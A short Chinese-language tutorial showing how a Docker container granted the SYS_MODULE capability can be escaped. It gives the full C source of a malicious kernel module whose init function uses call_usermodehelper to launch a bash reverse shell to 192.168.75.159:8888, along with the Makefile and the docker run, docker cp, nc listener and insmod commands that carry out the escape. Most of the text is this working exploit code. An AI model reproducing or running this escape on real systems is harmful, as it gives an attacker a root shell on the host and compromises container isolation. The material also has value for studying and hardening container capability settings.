如果容器僅有給予 SYS_MODULE 的權限,則在有 root 的身分下,則可透過安裝 linux driver 方式進行逃逸。相關程式如下所示 :
#include<linux/init.h>
#include<linux/module.h>
#include<linux/kmod.h>
MODULE_LICENSE("GPL");
static int start_shell(void){
char *argv[] ={"/bin/bash","-c","bash -i >& /dev/tcp/192.168.75.159/8888 0>&1", NULL};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}
static int init_mod(void){
return start_shell();
}
static void exit_mod(void){
return;
}
module_init(init_mod);
module_exit(exit_mod);
obj-m +=test.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
透過 make 進行編譯出 .ko 檔案
建立容器後,將 .ko 檔案搬入容器內。
docker run --rm --name sys-module --cap-add SYS_MODULE -it aeifkz/my-ubuntu:v1.0 bash ;
# 透過 docker cp 將檔案搬移到容器的根目錄下
docker cp test.ko sys-module:/ ;
nc -lvnp 8888 ;
insmod test.ko ;
lsmod | grep test ;
rmmod test ;